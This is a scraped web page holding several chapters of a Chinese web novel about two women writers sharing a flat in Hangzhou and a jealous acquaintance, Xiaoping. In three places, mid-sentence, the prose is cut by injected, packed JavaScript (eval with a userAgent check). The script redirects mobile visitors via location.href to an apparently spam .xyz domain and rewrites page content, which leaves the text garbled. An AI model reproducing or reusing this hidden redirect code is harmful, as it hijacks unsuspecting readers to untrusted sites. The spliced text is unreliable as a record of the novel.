从我有记忆开始,我经常能在我们村里看到提着菜刀追杀老爷们的女人。 我在村里上小学的时候会经过我们村里的一条路,那条路很宽,有一棵特别茂盛的大柳树,经常有一群大老爷们儿蹲成个圈,在大树底下聊东家长西家短。 有时候一圈男的会蹲在树底下打牌,每个人手边放着一摞钱,都是面额不大的钱币和一堆硬币。 我路过时会凑过去看两眼。 有一次我看的正入迷,那帮老爷们也打的很投入,打着打着我忽然听到远处传来一声咆哮,紧接着就有一个穿着蓝毛衣的女人举着菜刀疾冲过来,牌桌上的一个男的发出一声惊恐的卧槽,拔腿就跑,连钱都忘了拿。 那大姐掀翻了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16197296|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 牌桌,抓起桌上的一堆硬币就朝打牌的那帮老爷们扔过去。 小时候我们都管硬币叫钢蹦,这东西打脸上贼疼,一帮老爷们都捂着脸跳了起来,惨叫连连。 我吓得攥住了书包带子,那个举着菜刀的女人跑得飞快,朝着那个男人追去,乡村的土路飞起一阵烟尘。 她在滚滚烟尘里,在我茫然的视线中,逐渐变成一个蓝色的小点。 他逃,她追,他们都插翅难飞。 然而并不是每一个女人都是威武彪悍不服就干的母老虎。 “我觉得应该是没有心力再去闹了,花束北属于低精力人群,连续日更3000都会偏头痛,她说话都有气无力的。” 不是每个人都能像唐雨薇这样能每天日更6000,她写完更新还能拉片、看股票、看英文、学拉丁语、扫榜最近大火的小说并记下笔记、顺便做下下下一本文的大纲和设定。 她总说自己是低能量人群,我觉得一个人做完这些事情很难不低能量,要是能永远保持高能量,那才真是见了鬼了。 我们聊到了晚上八点,然后送相濡以沫去酒店。 相濡以沫在来杭州的时候就已经订好了酒店,我们在房间里又聊了一会天,聊着聊着唐雨薇和相濡以沫突然开始探讨哲学了。 鄙人不才,虽然在画画方面稍微有所建树,但文学造诣真的很一般般,否则不会到现在都只是一个小小的一星作者,单本5万稿费都没有赚上。 我可以不懂,但不能让别人知道我不懂。 我只能若有所思地点头,若有所思地皱眉头,若有所思地装作在沉思,然后再若有所思地发出一声抑扬顿挫的:“嗯~对!” 离开酒店之前,相濡以沫问我几颗星。 我羞羞答答地回答她:“一星。” “那不应该啊,”相濡以沫鼓励我,“你的知识储备这么渊博,懂得这么多,早晚会五星的。” 我老脸一红,一阵心虚,连忙说道:“比不了比不了,你们都是大神,我只是个小写手。” 相濡以沫说道:“你是德智体美全面发展,又会写文又会画画,我只能画火柴人。” “对对对,没错没错,”唐雨薇笑眯眯地摸着我的脑袋,“薇薇是内外兼修的艺术才女,既是小写手,又是小画家。” 我逐渐在一片夸声中迷失自我,回家怒写六千字,连夜加更两章。 读者们说我是窜稀式更新。 或许真的是夜有所思夜有所梦,我做了一晚上的梦,在梦里到处拉屎,那个穿蓝毛衣的大姐举着菜刀追我,让我不要随地乱拉,吓得我一边跑一边提裤子。 跑着跑着我撞到了一个人,她说她是织女,要去找一件被藏起来的羽衣。 我们来到一个布满霉斑的阴暗房间,那里有发霉的面包,被老鼠啃过的木板,落满灰尘的作业本,破旧的毛绒玩偶,碎掉的饭碗,洒落一地的已经发霉的菜和粮食,还有一个一靠近就会发出刺耳噪音的八音盒。 我们踏着一地厚厚的灰尘,踢开地上的零零碎碎焦急地寻找着,终于在最漆黑最潮湿的角落里翻到了一个发霉腐烂的木箱子。 我们撬开了箱子上的锁,一件洁白的羽衣静静地躺在里面,迸发出纯美静谧的光晕。 它似乎始终都在那里安静等待着,等待着主人打开尘封的箱子,将它重新拾取的那一天。 22.第 22 章 我把给唐雨薇画的画稿放在了各个账号上,没想到又涨了一小波粉丝,收获了一堆夸夸夸。 我打算换一个数位板。 以前那个数位板是w的,买的时候差不多600块钱,跟了我五年了。这几天画稿子画的很疲惫,有一种脑子被色彩裹住的喧闹感,于是我决定停工一天出去走走。 我和唐雨薇都很宅,唐雨薇的最长宅家记录是两个月没出门,等她终于下定决心出去走走,出门时季节都变了,她却还穿着夏天的衣服。 她说宅家的生活好像是静止的,但外面的时间一直在匆匆往前走,过得飞快,每次出门总让她有一种被全世界抛弃的感觉。 从此之后,每个星期她都要强迫自己出一次门,强行让自己接触外面的世界,哪怕只在小区里逛一逛也挺好。 她在杭州买的这个房子景色很美,每个窗子外面都有美丽的树景。我们俩会坐在主卧的阳台那里晒太阳吹吹风,一起听树叶被风吹响时的沙沙声。 中午阳光特别充足的时候,我会铺一张瑜伽垫,然后脱掉上衣,趴在瑜伽垫上面晒一晒我的后背。 我不太适应南方潮湿的气候,我总觉得南方的潮气会渗透我的毛孔,侵入我的身体里,让我体内湿气很重,变得很不轻盈。 我喜欢阳光,尤其喜欢灿烂的阳光,每次晒完太阳都会感觉精神饱满,就像喝饱了水的植物,变得非常舒展。 受了我的影响,唐雨薇也开始和我一起晒后背,我们俩脱了衣服趴在阳台上,因为阳台并不是那么宽阔,我们俩的身体不得不紧挨着。 我们俩都穿后背只有一条线连着的那种辣妹小吊带,唐雨薇说这种吊带是现代改良版肚兜。 阳台对面都是树,不然我们俩也不敢这么放肆,有时候晒着晒着唐雨薇就贴着我的手臂睡着了,呼吸很均匀地响在我的耳边。 困意是会传染的,我一看她睡着我也很想睡,有时候我们俩就一起趴在阳台上午睡。 我睡着时抱东西的习惯一直没有改掉,有时候醒来就发现自己正紧紧搂着唐雨薇的腰,半边身子都贴在了唐雨薇赤裸的后背上。 唐雨薇很香,沐浴露,洗发水,洗面奶,护发精油,身体乳还有各种香香的水乳精华大概是把她腌入味儿了,她身上时常散发着那种幽幽的香气,被太阳一晒更是香喷喷的,就像在热烈挥发似的。 栗棕色的长卷发散发着一股淡淡的栀子香味,又有点像刚炒熟的栗子,闻起来很香甜。 有时候醒来就发现自己压着她的头发,完全把脸埋在了她的长卷发里,手还总放在她的腰上,每次醒来都会被吓得一激灵。 唐雨薇的身体很软,好像没骨头似的,抱起来又香又软,手感好的不得了。 我觉得自己应该是在睡梦中把唐雨薇当成了大布娃娃,所以才会每次都在熟睡后对人家又搂又抱的。好在唐雨薇睡觉的时候很投入,没有发现我十分不老实的睡相,否则我真的会无地自容,羞惭欲死。 我们俩在阳台上睡了一觉,醒了之后换好衣服化完妆就出门了。 出门的时候阳光已经不那么充足了,天空不是特别明媚,也不是特别的阴暗,温度适宜,微风如何,吹得我们两个人懒洋洋的。 十月的杭州到处都飘荡着桂花的香气,我们俩去西湖划船,湖上吹风实在太舒服了。 可能是梁静茹给我们的勇气吧,我们俩选的是自划船。 划船之前想的可美了,唐雨薇的脑子里全都是“临溪放艇依山坐,溪鸟山花共我闲”,或者是“趁芦花晚潮,泊垂杨画桥,自一种江湖乐”,或者是“小舟从此逝,江海寄余生”,总之一脑子风花雪月。 我脑子里都是:“哇还没划过船呢终于可以自己划船试试了,肯定像电视剧里的侠客一样,滑的特别快特别好!” 但现实是我们俩根本就不会划船,技术实在划船的技术实在太糟糕了。 船一直在原地打转,半个小时可能就前进了两三米,不断有人划船从我们身旁经过,发出了善意的嘲笑声。 有一对老夫妻也来泛舟,划船的大爷指着我们俩对他老婆说道:“你看,又两个没滑起来的。” 还有一船东北老乡从我身边经过,坐在床尾的大姐用我特别熟悉的家乡口音说道:“哎呀妈呀,这俩大妹子咋原地打出溜滑儿呢?” 划船的大哥对她说道:“你划你也打”,一下子让我想起了赵本山的“你跺你也麻”。 我们俩是来看风景的,但此刻我们俩变成了风景,每一艘从我们身边路过的船都像看猴子似的看我俩。 唐雨薇右用手捂住了脸。 我也捂了一会儿脸,很快就放弃了,开始躺在船上摆烂,正好有一艘船路过,划船的大哥说我们俩把船头和船尾弄反了,我们俩在拿船尾当船头。 于是我们俩换了个方向,船终于被划了起来,但船前进的速度依然很慢,划到湖心的时候我们俩又累又饿,双眼放空的盯着远处的湖面。 我们俩干脆佛系划船,下午三点钟我们俩实在是饿的不行了,正桥有一个40来岁的大叔过来收船,于是就把我们的船给拖走了。 到了岸上,大叔特别热心肠地告诉我们下次一定要坐手摇船,游客们经常去乌龟潭,但金沙港的路线也不错,而且人比乌龟潭少很多,中途还会经过两个生态岛,能看到好多的鸟。 坐船坐久了再回到陆地上,就会觉得陆地也像水一样在晃,感觉特别的奇特,我和唐雨薇相互搀扶着,歪歪扭扭地走了一会儿,又去了西湖的一家茶楼去吃杭帮菜。 我们俩去的时间正好,正好有一个特别好的位置空了出来,那个位置就建在湖边,坐在桌前能看到碧波荡漾的湖面,一艘画舫从我们面前悠悠划过。 小风一吹,吹的人醉醺醺的。 怪不得电视剧里的大侠都喜欢坐在茶楼里喝茶,原来是这么一种惬意的感觉。 我们俩点了东坡肉、白切鸡、桂花糖藕,西湖龙井虾仁、凉拌松花蛋、话梅小番茄。 杭州的菜码很小,每道菜都很精致,吃两口就没了,我们俩一边闲聊一边看湖景,不知不觉就把一桌的菜都吃光了。 汤雨薇趴在栏杆上叹息:“杭州人可真会生活,节奏慢悠悠的,每天逛西湖吃茶点,灵魂都被净化了。” 吃饱喝足以后,我们俩出去逛商场,我买了一块新的数位板,唐雨薇去试裙子,她挑了一件薄荷曼波绿连衣裙,我去试衣间帮她拉裙子后背的拉链。 那裙子带胸垫,唐雨薇只好把内衣脱了。 哪怕是很好的朋友,有些人也是羞于在好朋友面前袒露身体的。 唐雨薇清清嗓子:“非礼勿视。” 我比了一个ok的手势,转过了身。 这家店的衣服有点贵,所以试衣间也很豪华,有一面很大的镜子,我无聊地转着脖子做米字操,眼角的余光突然扫到了镜子里的成像。 薄荷曼波绿薄纱堆叠在唐雨薇的腰间,栗棕色的长卷发像海藻一样在雪白的脊背后轻轻摇曳,雪白的上半身完全袒露着,白的晃眼睛。 那一瞬间,我感觉脑子雾蒙蒙的。 这完全是艺术品啊。 我低头看着我的手,心里暗骂我自己——我居然在睡着后把手伸进唐雨薇的睡裙里。 死手,你怎么敢的! 身后传来唐雨薇的声音:“薇薇,帮我把背后的拉链拉一下。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16205698|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 我转过头,帮唐雨薇拉上了拉链。 唐雨薇转头看我,“你脸怎么红了?” “有吗?”我捂着脸,“可能是被你美到了吧。” 唐雨薇甩了一下她那头波浪长发,特别沉浸地说道:“我懂你,我也经常被自己美到,没办法,天生丽质难自弃。” 我随口接道:“取回长乐侍君王。” “虽然你总是一通乱背,但还挺押韵的,”唐雨薇撩起头发,“上一次你串台了什么来着,啊对,是天堂有路你不走,学海无涯苦作舟。” 我又开始捂脸了,为自己狡辩,“那是我画画把脑子画懵了,不作数不作数。” 唐雨薇笑了两声,喜滋滋地站在镜子前,时不时就昂首挺胸的走两步。 我觉得大镜子有大镜子的好,比如说走路的时候就可以看到裙摆的各种动态,这条裙子的裙摆实在是太飘逸了,上面的纱会在空气里停留一会才慢慢落下。 自从某部仙侠剧爆火之后,国内的仙侠剧就开始了丧葬风,所有的神仙都穿一身白,辉煌多彩的天空只有在西游记里才能看到。 天宫上有好多的仙子都是云和霞还有花朵化形的,仙女的衣服一定比霞光还绚烂,怎么会穿的那么素。 “你觉得怎么样?”穿上了新裙子的唐雨薇容光焕发地问我。 “除了贵,没别的毛病。” 这条裙子要6700多,而且还一点都不打折,因为上身的效果实在太过惊艳,唐雨薇还是买了。 “其实我没有什么需要穿裙子的场合,但是青春只有一次,每个年龄段都有自己需要的东西,过了这个时间再拥有,就没有那种欣喜感了。” 唐雨薇说的很对,小时候一包跳跳糖都能开心半天,现在长大了,买一箱跳跳糖也觉得不过如此。 我们俩又回家了,唐雨薇又开始拽着我拉片,这回我们俩看的是美国的一个恐怖片,叫《猛鬼屋》,很多密室鬼屋都能看到这个故事的影子。 看完之后,唐雨薇又不敢一个人睡觉了,拽着我和她一起睡。 我已经尽量用被子把自己裹成一个毛巾卷了,唐雨薇坐在床头看我,“这样能增加安全感吗?” 我说道:“我不怕我不安全,我怕你不安全。” 唐雨薇啧了一声,关灯睡觉。 睡到后半夜,我做了一个冗长混乱的梦,记不清梦里的内容,但感觉很阴冷,像溺了水似的,迷迷糊糊地醒来了。 下半身凉飕飕的,我的被子掉在了地上,上半身在唐雨薇的被窝里。 唐雨薇睡相很好,无论平躺还是侧躺,都是一条笔直的竖线,占地面积小。而我就像一条张狂的对角线,一旦睡着就沉浸在自己的睡梦中不知天地为何物了。 唐雨薇已经被我挤到了床边,我像一条斜杠似的,上半身往唐雨薇被窝里钻,手又伸进了唐雨薇的睡裙里的,按着她的...... 死手,我自己又不是没有,你为什么非要去摸别人的! 我在心里骂了自己几句,正打算悄悄的把手抽回来时,唐雨薇忽然动了一下,好像是醒了。 毫不夸张的说那一刻我真的心脏狂跳,生怕她恼羞成怒一脚把我踹到外太空。 我僵在那里,动都不敢动。 唐雨薇确实醒了,她伸出手,轻轻地把我的手从她的胸上面拿了下来。 这时候我已经无地自容了,已经做好心理准备,打算下一秒就负荆请罪。 结果她拽着我的胳膊,像抻面似的抻了抻,然后把我的手放在了她的腰上,这样我就把她的腰严严实实的搂住了。 我们俩像东北的粘豆包一样贴在一起。 唐雨薇又睡着了。 23.第 23 章 早上醒来后我还在心虚。 这种心虚一直持续到早上,早上吃什么对我和唐雨薇而言一直是一个大难题,不想对付,也不想太敷衍。 肉蛋奶至少得满足两样,这样才有力气开启一天的工作。要是唐阿姨还在这的话就好了,那我们就有一周都不会重样的早餐。 我们俩商量了一会,把冰箱里的酒酿圆子给煮了,又开了一瓶拌好的贡菜来解腻。 这下好了,肉蛋奶一个没有,于是我又做了两杯燕麦拿铁。我们俩装咖啡的两个杯子真的超大,是一个800ml的不锈钢保温杯,插上一次性吸管能喝上一整天。 香醇的咖啡让萎靡的人振作起来,我们俩打着哈欠回到各自的卧室去工作。 我拆开新买的数位板开始调试参数,新板子有点过于灵敏了,让用惯了老板子的我有点不太习惯。 自从 Procreate出现之后,很多画手都用iPad画画,我也有可以画画的iPad,但是我总觉得压感很诡异,不怎么愿意用。 6点起床,7点吃完早饭,7:30开始投入工作,11:30结束上午的工作。整整5个小时,我的屁股就没有挪过地方,终于把一个富婆的稿子给加急画完了。 我躺在椅子上,看着画面里牵着五颜六色的气球在在草坪上奔跑的白裙少女。 不是我吹嘘自己,色彩一向是我的强项,我的每一张画都很有冲击力。 就比如眼前这张吧,五颜六色的气球色彩浓郁,颜色饱满的快要从画里溢出来,少女的裙摆又是如此的洁白,草坪又是如此的清新翠绿,我只能用两个字来形容——绝了! 我觉得这也是很多富婆找我约稿的原因,其实我个人比较喜欢阴暗诡谲的画风,那是我的舒适区,可是既然要靠画稿子养活自己,那就必须适应市场,不能一味沉浸在自己的艺术里不知天地为何物。 写文也是如此,要找热梗,要写大热题材,要写大热人设,文笔要幽默风趣不可曲高和寡。 我刚写文的时候把文笔看得非常重要,经常用一些特别华丽的词藻来装点我的文章,但往往是贪多贪足,失了美味。 唐雨薇告诉我:“你不用写这么深奥的,现在的读者都不喜欢看太费脑子的东西,许多读者都没这个耐心的。” “前三章叙事节奏最重要。” “第一章要抛钩子,人物形象要鲜明,拒绝大段的景物描写,迅速确立男女主角其中一个人的人设,在结尾设下钩子引入第二章,可以简单概括为立人设+抓眼球。” “第二章就要迅速进入剧情点,剧情点最好找一个特别刺激的,制造激烈冲突,勾起读者足够的好奇心,可以简单概括为制造冲突+拉高期待。” “第三章就要埋下以后的钩子,抛出文章中的主线或者长线任务,可以简单为埋线+锁定读者。” 说起写文心得,唐雨薇能一口气和我说一个小时,于是写文时我不再完全沉浸在自己的艺术中,开始按照黄金三章的模板来写文。 但这也造就了我的一个特点,就是持久力不行,开头精彩,结局烂尾,很多读者都说我的文有点虎头蛇尾。 唐雨薇又开始告诉我:“一星看字数,二星看一点人设和文笔,三星四星看梗+人设+文笔+完成度,五星要在三星四星的基础上再加上世界观+立意+群像描写。” “也有一些作者抓住了大热的人设和热梗,只靠这两个能够单本四星或者五星,但这种属于偏科生,发挥不稳定。” 我认真想了想,说道:“我觉得你还落了一点。” 唐雨薇一愣:“落了什么?” “天赋,”我看着她,“虽然技巧是一方面,但三星及三星以上就很看天赋了,你是那种很有天赋的人,因为太有天赋了,就忘记了自己很有天赋,总觉得自己写文靠勤奋和技巧。” 唐雨薇犹豫起来:“我也没有什么天赋吧。” 我又开始挠头了:“那是因为你觉得有天赋的人都是余华莫言这种级别的,你对标这些大文豪,当然觉得自己没什么了。” 唐雨薇就是这个德行,她从来不觉得自己有什么天天赋,因为她身边都是一群极有天赋的人。 她读了上海最好的小学,最好的初中,最好的高中,最好的大学(这个我不太确定,因为我不知道上海交通和上海复旦哪个更强),然后她高考还考砸了,清华北大没有考上,只能含泪读了复旦。 含泪读复旦....... 每当她一脸惆怅地说出这句话的时候,我都很想拿起她的铝坨坨键盘和她同归于尽。 好在她读研的时候去了普林斯顿,她说这个学校特别难申请,她总算一雪前耻。 去了普林斯顿之后,唐雨薇说学业的压力有点大但不算特别大,因为她发现很多同学的智商水平也就那样。 真正令她觉得压力特别大的,是国外的环境和人际交往。 国外的月亮并没有特别圆,各种歧视是无处不在的。有些人说着很礼貌的话,但他们的语言中含着细小的毒针,别人看不见,只有她自己知道有多难受。 还有食物,在美食遍地的种花家,唐雨薇都属于特别不爱吃饭的那种人,国外那些食物对她而言更是难以下咽。 有一段时间她只喝水,实在饿的受不了就喝可乐,但国外的可乐比中国的甜,她就兑点水。 喝腻了可乐兑水就去喝星巴克,再吃点快餐对付活着。有一次她感染了流感,一个人躺在公寓的小床上都快烧出了幻觉,感觉自己快死了也没人知道。 这次流感之后,唐雨薇觉得自己不是钢铁之躯,下定决心好好吃饭,她开始学做饭,但火警报警器永远比锅先沸腾。 这些破事就像撒了满地的芝麻,得一粒一粒去捡,捡着捡着她就抑郁了,开始了白天吃药晚上失眠的日子,然后继续吃安眠药。 说起那段日子,唐雨薇总结:“反正就是活得人不人鬼不鬼的。” 国外留学回来之后,唐雨薇就变得爱吃东西了,还有点暴食的倾向。 她不是一个特别爱吃饭的人,吃多了肯定会受不了,暴食后会呕吐。 都说文章憎命达,留学归来后她写的那本文爆火,给她赚了近千万的稿费,后来卖版权,赚的那就更多了。 刚高考完的唐雨薇只想赚点稿费在上海买一个小房子,留学归来后的唐雨薇已经有了两套上海房子和一套杭州的房子。 自从她成年后,唐阿姨的婚姻出现了问题,她就把大部分的资产都转到了唐雨薇名下,一些钱用来给唐雨薇买股票。 其中一支股票叫做贵州茅台。 那时候的贵州茅台还并没有现在这样广为人知,那会唐雨薇才18岁,贵州茅台的股价还不到200块钱,唐阿姨一口气儿买了235万的贵州茅台。 现在贵州茅台的股价是1700块左右,唐雨薇名下已经有了价值2000万的股票,其他的股票她没有提,但我觉得也不是一个小数目。 光是每年的分红就很可观了,唐雨薇躺在家里什么都不干,也能过着衣食无忧的生活。 要是把各种资产都加在一起,唐雨薇的个人资产已经过亿了。 这还不算唐阿姨,因为唐阿姨可比唐雨薇有钱多了,唐阿姨是最早做电商的那批人,赚的钱是我无法想象的。 但有时候就很奇怪,都这么有钱了,人还是不能完全快乐地活着。 我说唐雨薇这是富贵命。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16209889|180343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 唐雨薇又说道:“也不是特别有钱吧,我读研的时候有个同学,经常换跑车。” 我觉得和唐雨薇做朋友需要一颗很强大的心脏,她实在是太能凡尔赛了,对自己拥有的一切都秉持着一种理所当然的态度,有时候还会觉得老天爷在苛待她。 我看看她,又瞅瞅我自己,又想拿起那把铝坨坨和她同归于尽了。 中午午睡,醒来继续干活。 唐雨薇写完了六千字,跑到我房间玩手机,玩一会就搬了椅子坐旁边看我画画。 从无到有的过程还是挺有意思的,她看得很稀奇,看了一会又跑到次卧那张奶黄色的小床上玩手机。 我用两个小时画完了一张精度不那么高的稿子,唐雨薇也看完了一本某点大神的新文。 最快乐的就是结束工作的这一刻,可以跑到阳台上发呆,可以给家里的绿植浇浇水,还可以去小区里散散步吹吹风。 小区的林子里有一条潺潺流动的小溪,我们俩经常去那玩水,有时候就在旁边漫无目的地走来走去,就为了听一会儿溪水流动的声音。 那里实在是一个特别静谧的地方,有树荫,溪水凉凉的,我们俩去小溪那儿的时候,正巧有一个穿着牛仔背带裤戴白色鸭舌帽的女生带着牵着一只烟灰色的缅因猫站在那。 那只缅因猫特别大,长得十分威武神气,正伸出大爪子玩水。 大部分人看见猫咪这种可爱的生物都会蠢蠢欲动的,我们俩看了一会儿,唐雨薇开始用手指戳我的腰,我清清嗓子,走到那个女生的旁边礼貌地问道:“美女,你这只猫好可爱,我们可以摸吗?” 女生欣然同意。 那只缅因猫真的好乖好听话,明明长得这么威武神气,叫声却软软的,听起来特别的嗲,一边喵喵叫,一边贴着我们两个蹭来蹭去的。 我和唐雨薇陶醉了,脸上带着醉醺醺笑,带着一身的猫毛回家了。 过了两天,唐雨薇资助的一个女生也搬到杭州了,要请唐雨薇吃饭,唐雨薇就带上我一起去了。 按理来说客不带客,但唐雨薇觉得这女生的日子都这么难了,不应该让这女生请客,但如果唐雨薇自己付账,又怕伤了这女生的自尊心。 于是她决定带上我,让我去付账,这样可谓是皆大欢喜。 唐雨薇的这个朋友叫小萍,是唐雨薇在论坛上认识的,家境不太好,唐雨薇给她送过一些衣服鞋子旧电脑旧手机旧平板还有闲置的键盘,还资助她上完了大学。 虽然唐雨薇说是一些旧东西,但唐雨薇的旧东西和九成新差不多,小萍一直很感激她。 小萍和我一样,今年刚毕业,也是杭州人。 在人们的印象中,杭州人不应该这么穷,但其实在上海北京这种地方穷人也多的是,富裕的终究还是少数人。 小萍家里也是重男轻女,她考上了专科学校,但家里人不给她学费和生活费。她大学申请了助学贷款,唐雨薇除了给衣服鞋子电子产品这些东西之外,还会每个月资助她1500块钱的生活费,一共资助了四年。 知道小萍搬来了杭州,唐雨薇又找出了一些不穿的衣服,那些衣服都带着吊牌,买来后就忘了穿。 我把储存的优衣库袋子翻出来,蹲在地上和她叠衣裳,还找出熨斗把衣服给熨烫平整了。 我们拎着好几兜衣服去找小萍。 小萍对唐雨薇很热情,但对我....... 嗯,也不是不热情,就是让我觉得怪怪的。 就像唐雨薇说的那样,有些人虽然是笑着的,但态度和言语都带着细小的针,只有当事人才能感觉到。 我很快就察觉出小萍有点讨厌我,对我有一种淡淡的微妙恶意。 24.第 24 章 小萍的那个房子是房东改造过的,一个房子改成了四个小房间,只有厨房和一个卫生间保留着,月租金是800。 除了卫生间和厨房,公共区域只有玄关那么大点,大约两平米左右,木地板不是真正的木地板,好像是一层木纹理的贴膜,不太整齐地贴在地板上,很多地方都翘了边。 卫生间的垃圾桶里堆满了卫生纸和卫生巾,蓝色的网格垃圾桶不堪重负,一些卫生纸已经滚到了地上,定睛一看,还能看到纸上的粑粑。 灰色的拖把矗立在洗手间墙脚,散发着一股阴暗潮湿的霉臭味,湿滑的地面都是头发,整个卫生间又潮又湿又霉,还带着一股淡淡的腥臭,吓得唐雨薇都没敢上厕所。 小萍是个高挑清秀的女生,一头及肩长发,说话柔声细语的。 小萍来了杭州之后经常找唐雨薇玩,每次来就试图打扫卫生,试图拖地、洗衣服、打扫厨房、整理冰箱。 但是唐雨薇这里真得很干净。 唐雨薇一旦卡文就会疯狂做家务,最近她卡文的次数比较多,每天都要拖三次地板,地板光可鉴人,都可以当镜子照了,苍蝇站上去都会劈叉。 洗衣服完全不用,洗衣机完全可以解决,就连内衣都有专门的小型洗衣桶,洗完还能烘干。 厨房和冰箱都是我在整理,我也会卡文,画画也会累,这时候就会把冰箱里的东西一样样拿出来,进行整理和收纳,再去擦拭厨房里的瓶瓶罐罐,把碗碟换个位置摆放。 总之工作的时候除了工作,其他的一切事情都挺有意思的,包括做家务。 小萍发现唐雨薇家里的卫生保持的太好,于是就开始给唐雨薇做饭,还会帮唐雨薇腌制泡菜。 我和唐雨薇的晚餐都是各种汤配各种馒头,有时候会觉得口味太淡,就买了点咸菜放冰箱里。 小萍打算收拾冰箱的时候看到了咸菜,于是双休日来找唐雨薇的时候,就会买很多的蔬菜带过来腌制。 酸甜脆辣的白色腌萝卜、用红醋腌制的粉色跳水萝卜、日本腌姜、泡藕带、糖蒜、腌制的贡菜......每一样都特别好吃。 特别是她用雪碧腌出来的酸甜白萝卜,特别的酸甜爽口,成了晚餐必不可少的配菜。 她做饭真的是非常非常非常好吃,做的话梅排骨简直绝了,唐雨薇喜欢的不得了。 有时候吃完饭再聊聊天,天已经很黑了,她住的地方又距离这里太远,唐雨薇怕她一个人回去不安全,就留她在这里过夜。 我和唐雨薇住主卧,她住在次卧,周日晚上再回去。 但我觉得她奇奇怪怪的,就比如唐雨薇最喜欢吃的话梅排骨。 明明我买的排骨很充足,但她总是做两个人的份量,我正想多吃两块的时候,她就会笑着说道:“哎呀,排骨还是做少了,都留给唐唐吃吧。” 然后她就把装着话梅排骨的盘子端到唐雨薇面前。 每次吃饭她都坐唐雨薇旁边,我坐对面,唐雨薇吃够了排骨,她就把剩下的排骨全都吃掉。 我觉得怪怪的,但有时候也会想自己是不是太多心了。每种关系都分亲疏远近,唐雨薇可是资助她的恩公,向着自己的恩公也没有什么不对。 有好几次她盛饭,就盛了她和唐雨薇的,等我到了厨房,就一脸无辜又抱歉地说她不知道我要吃多少饭,怕盛多了我吃不完。 比如一起出去玩,她会一直抱着唐雨薇的胳膊,买奶茶买零食什么的基本就是我在跑腿。 我跑腿也不是不行,毕竟我活泼爱动,但是唐雨薇想和我一起去,她就拽着唐雨薇的手,柔声细语地说她有点累,想让唐雨薇陪她歇一会儿。 还有一次我蹲下来系鞋带,她明明转头看了我一眼,却还拽着唐雨薇一直往前走,说要去店里看口红,还是唐雨薇发现我没有跟上又跑回来找我。 还有,我跟她说话的时候她会装作没听见的样子故意不搭理我,继续和唐雨薇说说笑笑。每次我和唐雨薇说着话呢,她就会抢话,故意打断我。 比如我和唐雨薇随口聊两句码字的事儿,唐雨薇问我今天打算写多少字,我还没开口回答,她就会立马抢着问唐雨薇:“那唐唐打算今天写多少啊?” 我觉得她想把唐雨薇从我身边抢走。 没办法,有些人对朋友就是独占欲爆棚,对朋友的朋友充满了敌意。 人不犯我,我不犯人。 有人这么攻击我,我也不能坐以待毙,好歹得给她点颜色瞧瞧。 于是我灵机一动,每天都拉着唐雨薇出去逛街,从周一到周五一天都不闲着,每天暴走2万步,特别是周五的下午,我硬是拿着健身房的宣传单,拉着唐雨薇去上了一节爵士舞体验课。 唐雨薇说她自己累得像死狗一样,但我不累,人在做坏事的时候有着使不完的牛劲,根本感觉不到累。 这个讨厌的绿茶,以为我没有心机吗? 我只是长得像一朵小白花,又不是真的小白花! 周六到了,小萍又来了。 她来的时候我正在小区外面溜达,这阵子总有健身房卖课的在这边做推广,我打算多搞几□□身房的免费体验卡。 唐雨薇太累了,在家躺着码字,当我拿着一摞体验卡回来时,正好看到了站在门卫处的小萍。 此刻的我觉得阳光甚好,正举着手机录视频,打算发给我妈看,小萍就这样出现在我的镜头里。 非小区住户来这个小区需要登记和打电话,小萍穿着粉色的薄毛呢外套和水蓝色的牛仔裤,把头凑到保安室的窗口说着什么。 她手里拎着一个很大的塑料袋,里面装着很多东西,看起来就很沉。 上午的阳光很好,我能看到塑料袋里装了很多的萝卜、土豆、还有水果什么的。 保安室的窗口关上了,她拎着沉重的塑料袋,十分费劲地往前走,快要走到门口时,那个大塑料袋忽然破了,里面的东西一股脑地滚了出来。 粉色的圆萝卜和小土豆滚得满地都是,咕噜噜地乱跑,她弯着腰,手忙脚乱的,狼狈地去捡,头发全都被风吹在了脸上,她只好一边用手拨开头发,一边蹲下身子去捡地上的萝卜和土豆。 我可能有点过于爱憎分明了,竟然没有生出一点去帮忙的念头,反而有点幸灾乐祸。 正巧有一对夫妻路过,帮小萍捡起了地上的东西,还给了她两个塑料袋。 小萍进小区了,我一想到要和她在同一个房子里相处就觉得特心烦。 真的是非常讨厌那种暗搓搓的针对, 刷卡进了小区之后,干脆去了小溪那里独坐。 真是文章憎命达,平时日子过得特别舒坦的时候一点灵感没有,此刻孤独和忧伤萦绕着我,反而文思如泉涌,灵感如尿崩,下一本书的大纲就这么水灵灵地出现了。 